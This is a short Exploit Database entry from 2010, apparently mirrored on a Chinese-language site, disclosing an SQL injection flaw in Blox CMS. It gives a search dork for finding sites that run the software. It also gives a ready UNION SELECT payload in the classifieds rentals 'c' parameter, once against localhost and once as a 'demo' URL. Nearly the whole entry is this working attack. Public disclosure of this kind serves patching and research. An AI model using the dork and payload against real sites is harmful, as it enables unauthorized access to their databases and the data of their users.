Blox CMS – SQL Injection

• Exploit Database
• 12 阅读

• 作者： CoBRa_21
  日期： 2010-05-24
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12729/

• -------------------------------------------------------------------------------------------
  
  Blox CMS SQL Injection Vulnerability
  
  -------------------------------------------------------------------------------------------
  
  Author: CoBRa_21
  
  Script Home: http://bloxcms.com/
  
  Dork: Powered by Blox CMS from TownNews.com
  
  -------------------------------------------------------------------------------------------
  
  Sql Injection:
  
  http://localhost/[path]/app/classifieds/rentals/?c=-156%20union%20select%200,1,2,3,4,version%28%29,6,7,8,9,10,11,12,13,14,15
  
  
  Demo :
  
  http://www.site.com/app/classifieds/rentals/?c=-156%20union%20select%200,1,2,3,4,version%28%29,6,7,8,9,10,11,12,13,14,15
  
  -------------------------------------------------------------------------------------------